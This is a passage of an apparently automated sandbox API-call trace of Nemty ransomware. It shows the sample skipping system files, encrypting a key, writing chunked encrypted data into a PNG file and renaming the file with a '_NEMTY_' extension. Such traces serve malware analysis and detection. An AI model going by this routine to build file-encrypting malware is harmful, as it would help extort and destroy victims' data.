nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0068.976] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0068.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0068.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0068.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e0 [0068.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94388 [0068.977] Sleep (dwMilliseconds=0x5) [0068.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcc344f0, dwHighDateTime=0x1d561e7)) [0068.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcc344f0, dwHighDateTime=0x1d561e7)) [0068.981] GetLastError () returned 0x5 [0068.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.981] GetLastError () returned 0x5 [0068.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.981] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0068.981] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0068.981] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0068.981] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="NNwd4wYEVq5qtRz3StQPb79636bb/qu9BZpK/J38ngMrF10iO6xY/n246aT1POlJ\r\nvfRHnaFrdUR0AOE/e0uuYSvRkothNj3HaZafs11ah/qKlJNRY+070HtBegTx3gA9\r\nHa2Qa/NF/MexMasuV5gaz0bktZBg9ycLgKoDglSeRTfduQ8KwqseOc4qvWTpjni/\r\ncBuN4B26GNBaV8AJihQp9cylvw1Jv/rLtVk4QrpgR2GTJdzckc59M1VVy1cx47A2\r\nFzanOQIIBsyer8+4XsAswYdpZ46S4z0jmuPjgrgna1rLzWFHKdJVRFdtPgr43/9Q\r\npSI9hrv+j0eIvJn4JLFfWg==\r\n", pcchString=0x653ec5c) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0068.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.982] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.982] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0068.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.092] CloseHandle (hObject=0xffffffff) returned 0 [0069.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0069.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0069.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.093] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.093] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.093] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 